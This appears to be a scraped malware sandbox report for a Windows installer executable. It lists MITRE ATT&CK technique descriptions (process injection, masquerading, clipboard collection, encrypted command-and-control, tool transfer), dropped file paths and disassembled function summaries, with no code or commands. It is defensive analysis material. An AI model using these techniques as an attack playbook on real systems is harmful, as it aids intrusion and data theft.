Associated: 00000003.00000002.3396914227.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_setup.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 042c172281cf084eebf1820456e7eb749b121a10276c912c68532230cfd8689c
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: BBF0A736249D51DBC2029B295C44E6FBEA4EF95355F14057EF440F3180D335AC11ABBB

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\ar[2].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ss[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\ar[1].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\ar[2].php

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\ar[1].php

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\_isetup\_setup64.tmp

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\erku (copy)

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\is-0S4HI.tmp

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\is-9CN42.tmp

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\is-MDUNR.tmp

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\is-RR58F.tmp

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\ret (copy)

C:\Users\user\AppData\Local\Temp\is-MJ6KQ.tmp\setup.exe (copy)

C:\Users\user\AppData\Local\Temp\is-VR1H1.tmp\1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.tmp

C:\Users\user\AppData\Local\Temp\nsu8144.tmp\inetc.dll

C:\Users\user\AppData\Local\Temp\nsu8144.tmp\s

C:\Users\user\AppData\Local\Temp\nsu8144.tmp\status.log

C:\Users\user\AppData\Local\Temp\nsv5F72.tmp

C:\Windows\is-J242U.tmp

C:\Windows\unins000.dat

Windows Analysis Report
1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe

Function 0040323C Relevance: 68.5, APIs: 23, Strings: 16, Instructions: 270
filestringcomCOMMON

Function 00405042 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 278
windowclipboardmemoryCOMMON

Function 0040548B Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 00403A45 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345
windowstringCOMMON

Function 004036AF Relevance: 52.7, APIs: 15, Strings: 15, Instructions: 216
stringregistrylibraryCOMMON

Function 00404060 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 204
windowstringCOMMON

Function 00402C72 Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 203
memoryCOMMON

Function 00401734 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 147
stringtimeCOMMON

Function 00403043 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 108
fileCOMMON

Function 00404F04 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
stringwindowCOMMON

Function 00402F18 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 109
fileCOMMON